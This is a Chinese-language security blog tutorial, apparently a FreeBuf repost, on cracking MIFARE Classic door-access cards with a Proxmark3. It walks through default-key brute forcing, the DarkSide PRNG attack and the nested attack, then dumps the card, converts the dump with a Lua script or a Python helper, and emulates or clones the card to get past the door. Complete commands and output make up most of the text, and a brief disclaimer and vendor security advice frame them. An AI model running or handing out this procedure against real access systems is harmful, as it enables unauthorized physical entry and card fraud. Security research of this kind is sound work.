SPRITEKING

【原创】RFID Hacking ④:ProxMark3 破解门禁

时间:公元16-07-22 栏目:Linux 作者:SPRITEKING 吐槽:0 被黑客围观: 1,346 次





作者:雪碧0xroot@漏洞盒子安全团队

pm3

文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用!

0x00 前言

国际黑客大会Defcon传统之一:开锁!因为黑客认为锁也是一种安全挑战。我们在黑客题材电影、电视剧中也常常看到:男主女主利用高超的黑客技能侵入目标公司的网络,甚至利用社会工程学突破门禁防护潜入对方办公地点进行物理攻击,如入无人之境。(神盾局、黑客军团、Who am i 貌似都有类似情节)

Clipboard Image.png

北上广不相信眼泪 16集

在这一背景下,我们不经思考:门禁系统作为企业物理第一道屏障,这些硬件基础设施安全是否一直都被忽视?

0x01 准备工作

Linux、Windows环境搭建可参考:RFID Hacking②:PM3入门指南 一文。

Clipboard Image.png

1.1 进入PM3工作终端

./proxmark3 /dev/ttyACM0

1.2 测试天线

proxmark3> hw tune

# LF antenna: 29.98 V @   125.00 kHz          
# LF antenna: 30.39 V @   134.00 kHz          
# LF optimal: 36.30 V @   129.03 kHz          
# HF antenna: 27.90 V @    13.56 MHz          
proxmark3> 

1.3 设备固件

proxmark3> hw ver
#db# Prox/RFID mark3 RFID instrument                 
#db# bootrom: /-suspect 2015-04-02 15:12:04                 
#db# os: /-suspect 2015-04-02 15:12:11                 
#db# HF FPGA image built on 2015/03/09 at 08:41:42    

0x02 爆破&枚举秘钥

2.1 读取卡片

proxmark3> hf 14a reader
ATQA : 04 00          
 UID : 2c f0 55 0b           
 SAK : 08 [2]          
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1          
proprietary non iso14443a-4 card found, RATS not supported 

2.2 执行NESTED攻击,枚举&爆破key:

proxmark3> hf mf chk *1 ? t
No key specified,try default keys          
chk default key[0] ffffffffffff          
chk default key[1] 000000000000          
chk default key[2] a0a1a2a3a4a5          
chk default key[3] b0b1b2b3b4b5          
chk default key[4] aabbccddeeff          
chk default key[5] 4d3a99c351dd          
chk default key[6] 1a982c7e459a          
chk default key[7] d3f7d3f7d3f7          
chk default key[8] 714c5c886e97          
chk default key[9] 587ee5f9350f          
chk default key[10] a0478cc39091          
chk default key[11] 533cb6c723f6          
chk default key[12] 8fd0a4f256e9          
--SectorsCnt:0 block no:0x03 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:1 block no:0x07 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:2 block no:0x0b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:3 block no:0x0f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:4 block no:0x13 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:5 block no:0x17 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:6 block no:0x1b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:7 block no:0x1f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:8 block no:0x23 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:9 block no:0x27 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:10 block no:0x2b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:11 block no:0x2f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:12 block no:0x33 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:13 block no:0x37 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:14 block no:0x3b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:15 block no:0x3f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:0 block no:0x03 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:1 block no:0x07 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:2 block no:0x0b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:3 block no:0x0f key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:4 block no:0x13 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:5 block no:0x17 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:6 block no:0x1b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:7 block no:0x1f key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:8 block no:0x23 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:9 block no:0x27 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:10 block no:0x2b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:11 block no:0x2f key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:12 block no:0x33 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:13 block no:0x37 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:14 block no:0x3b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:15 block no:0x3f key type:B key count:13           
Found valid key:[ffffffffffff]          
proxmark3> 

成功获得卡片key。

2.3 利用PRNG漏洞,执行mifare “DarkSide”攻击

proxmark3> hf mf mifare
-------------------------------------------------------------------------
Executing command. Expected execution time: 25sec on average  :-) 
Press the key on the proxmark3 device to abort both proxmark3 and client.
-------------------------------------------------------------------------

uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(090a070d060b0501) nr(00000000)

|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000000| 9 |  c  |0,0,0,0,0,0,0,0|
| 20 |00000020| a |  f  |0,0,0,0,0,0,0,0|
| 40 |00000040| 7 |  2  |0,0,0,0,0,0,0,0|
| 60 |00000060| d |  8  |0,0,0,0,0,0,0,0|
| 80 |00000080| 6 |  3  |0,0,0,0,0,0,0,0|
| a0 |000000a0| b |  e  |0,0,0,0,0,0,0,0|
| c0 |000000c0| 5 |  0  |0,0,0,0,0,0,0,0|
| e0 |000000e0| 1 |  4  |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...          
key_count:0
Key not found (lfsr_common_prefix list is null). Nt=218e1cd8          
Failing is expected to happen in 25% of all cases. Trying again with a different reader nonce...          

uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(0d0407030d070c04) nr(00000001)

|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000001| d |  8  |0,0,0,0,0,0,0,0|
| 20 |00000021| 4 |  1  |0,0,0,0,0,0,0,0|
| 40 |00000041| 7 |  2  |0,0,0,0,0,0,0,0|
| 60 |00000061| 3 |  6  |0,0,0,0,0,0,0,0|
| 80 |00000081| d |  8  |0,0,0,0,0,0,0,0|
| a0 |000000a1| 7 |  2  |0,0,0,0,0,0,0,0|
| c0 |000000c1| c |  9  |0,0,0,0,0,0,0,0|
| e0 |000000e1| 4 |  1  |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...          
key_count:0
Key not found (lfsr_common_prefix list is null). Nt=218e1cd8          
Failing is expected to happen in 25% of all cases. Trying again with a different reader nonce...          

uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(0d040e0e0c010e00) nr(00000002)

|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000002| d |  8  |0,0,0,0,0,0,0,0|
| 20 |00000022| 4 |  1  |0,0,0,0,0,0,0,0|
| 40 |00000042| e |  b  |0,0,0,0,0,0,0,0|
| 60 |00000062| e |  b  |0,0,0,0,0,0,0,0|
| 80 |00000082| c |  9  |0,0,0,0,0,0,0,0|
| a0 |000000a2| 1 |  4  |0,0,0,0,0,0,0,0|
| c0 |000000c2| e |  b  |0,0,0,0,0,0,0,0|
| e0 |000000e2| 0 |  5  |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...          
p1:0 p2:0 p3:0 key:ffffffffffff
p1:29e5f p2:18a2b p3:1 key:b8b2a3c07af9
p1:2ba97 p2:19a40 p3:2 key:b5ba0002b5ea
p1:2c3fd p2:19fb9 p3:3 key:b4b979ba49de
p1:3de0e p2:24775 p3:4 key:968a7a09c714
p1:3fdf4 p2:25a7a p3:5 key:931b36c268ed
p1:54f81 p2:32426 p3:6 key:6ecaf371a99d
p1:58b75 p2:34777 p3:7 key:6860b744915b
p1:616dd p2:3998a p3:8 key:59747d7fdf41
p1:63400 p2:3ab54 p3:9 key:56476bbef406
p1:64ae0 p2:3b844 p3:a key:53dc6ee57a91
p1:6dc19 p2:40e78 p3:b key:44554ae362a1
p1:708f8 p2:42956 p3:c key:3f83eb143dd6
p1:7abf0 p2:48987 p3:d key:2e2b8565f96b
p1:7b298 p2:48d82 p3:e key:2d70e3e38553
p1:8420b p2:4e219 p3:f key:1e238b63e204
p1:8ce60 p2:53484 p3:10 key:0f4b7cb380a5
key_count:17
------------------------------------------------------------------
Key found:ffffffffffff 

Found valid key:ffffffffffff          
proxmark3> 

通过这一方式,同样可以获得卡片的key,不过很多时候还是要靠运气,因为不是所有的卡片都存在这种漏洞。如果不存在PRNG漏洞,我们则需要通过嗅探卡片和读卡器之间通信的数据包解出卡片的Key。

使用PM3进行中间人攻击嗅探通信数据包的方法可参考:【RFID Hacking③】ProxMark3使用案例:嗅探银行闪付卡信息 ,以及RadioWar团队的 利用Proxmark3监听M1卡交互过程,算出某一区的key

0x03 dump卡片数据&数据处理

使用上述方法,我们成功获得卡片key,接下来我们便可以使用key导出卡片中的所有数据(dumpdata)

proxmark3> hf mf nested 1 0 A ffffffffffff d 
--block no:00 key type:00 key:ff ff ff ff ff ff  etrans:0          
Block shift=0          
Testing known keys. Sector count=16          
nested...          
Time in nested: 0.030 (inf sec per key)

-----------------------------------------------
Iterations count: 0

|---|----------------|---|----------------|---|          
|sec|key A           |res|key B           |res|          
|---|----------------|---|----------------|---|          
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|---|----------------|---|----------------|---|          
Printing keys to bynary file dumpkeys.bin...          
proxmark3> 

在这一过程中,在PM3当前工作目录下生成了dumpkey.bin文件:

Clipboard Image.png

接下来我们执行hf mf dump便能获得整张卡片的数据:

proxmark3> hf mf dump
|-----------------------------------------|          
|------ Reading sector access bits...-----|          
|-----------------------------------------|          
Command execute timeout          
Sending bytes to proxmark failed          
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
|-----------------------------------------|          
|----- Dumping all blocks to file... -----|          
|-----------------------------------------|          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
proxmark3> 

此时,卡片数据已经被导出到PM3主目录下的dumpdata.bin这个二进制文件中,:

Clipboard Image.png

但是PM3并不能识别、使用二进制文件,我们还需要使用脚本将这个二进制文件转换成.eml格式的文本信息:

proxmark3> script run dumptoemul.lua 
--- Executing: ./scripts/dumptoemul.lua, args''
Wrote an emulator-dump to the file 2CF0550B.eml

-----Finished
proxmark3> 

dumptoemul脚本成功将dumpdata.bin二进制文件转换成以卡片ID值命名的eml格式文件:

eml

我们来对比一下这两个文件:

cat

效果已经很明显了,脚本已经将乱码的二进制文件转换成了txt文本信息。

dumptoemul.lua脚本的功能也可以用Python语言来实现:bin2txet.py

#!/usr/bin/python
from __future__ import with_statement
import sys
import binascii

READ_BLOCKSIZE = 16

def main(argv):
    argc = len(argv)
    if argc < 3:
        print 'Usage:', argv[0], 'dumpdata.bin output.txt'
        sys.exit(1)

    with file(argv[1], "rb") as file_inp, file(argv[2], "w") as file_out:
        while True:
            byte_s = file_inp.read(READ_BLOCKSIZE)
            if not byte_s:
                break
            hex_char_repr = binascii.hexlify(byte_s)
            file_out.write(hex_char_repr)
            file_out.write("\n")

if __name__ == '__main__':
    main(sys.argv)

python bin2text.py dumpdata.bin output.txt
mv output.txt 2CF0550B.eml

清除仿真内存的各区块数据:

hf mf eclr 

把从卡片中导出的数据加载到PM3设备中:

proxmark3> hf mf eload 2CF0550B       
Loaded 64 blocks from file: 2CF0550B.eml  

使用PM3模拟门禁卡:

proxmark3> hf mf sim
 uid:N/A, numreads:0, flags:0 (0x00)           
#db# 4B UID: 2CF0550B              
proxmark3> 

这时我们可以使用PM3来实现通过门禁。另外一种方式:把从卡片导出的数据从PM3设备内存中克隆到白卡里,使用克隆卡片通过门禁

proxmark3> hf mf cload e         
Cant get block: 1

bingo

0x04 安全建议

目前我国80%的门禁产品均是采用原始IC卡的UID号或ID卡的ID号去做门禁卡,没有去进行加密认证或开发专用的密钥,其安全隐患远比Mifare卡的破解更危险,非法破解的人士只需采用专业的技术手段就可以完成破解过程。

门禁厂商、管理员:做好防护工作加强安全意识,尽量避免使用默认key、安全性低的key;对卡片和门禁读卡器使用身份认证&验证机制,绝对不能直接使用原始IC卡的UID号或ID卡的ID号去做门禁卡!

用户:妥善保管自己的门禁卡,避免信息泄露。
物联网IOT的高速发展,无线通信技术的应用也日趋广泛。本文仅通过门禁系统案例揭露NFC、RFID相关协议&技术存在的一些安全隐患。

我们现实生活中也有真实存在的案例:2010年北京一卡通被爆存在漏洞,可随意修改卡内余额,个人猜测这里很有可能是通过利用mifare卡片的PRNG漏洞来实现的。2014年,国外安全研究员发现台湾铁路、公交系统的悠游卡(EasyCard)同样存在PRNG漏洞,可修改卡片余额,并向悠游卡公司反馈报告了这一漏洞:

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0x05 系列文章

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backtrack-linux.org : RFID Cooking with Mifare Classic

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*本文作者:雪碧0xroot@漏洞盒子安全团队,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

http://www.freebuf.com/articles/wireless/109151.html

声明: 本文由( SPRITEKING )原创编译,转载请保留链接: 【原创】RFID Hacking ④:ProxMark3 破解门禁

【原创】RFID Hacking ④:ProxMark3 破解门禁:等您坐沙发呢!

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